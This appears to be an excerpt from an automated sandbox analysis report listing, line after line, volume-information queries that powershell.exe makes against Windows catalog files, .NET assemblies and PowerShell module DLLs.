Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0210~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
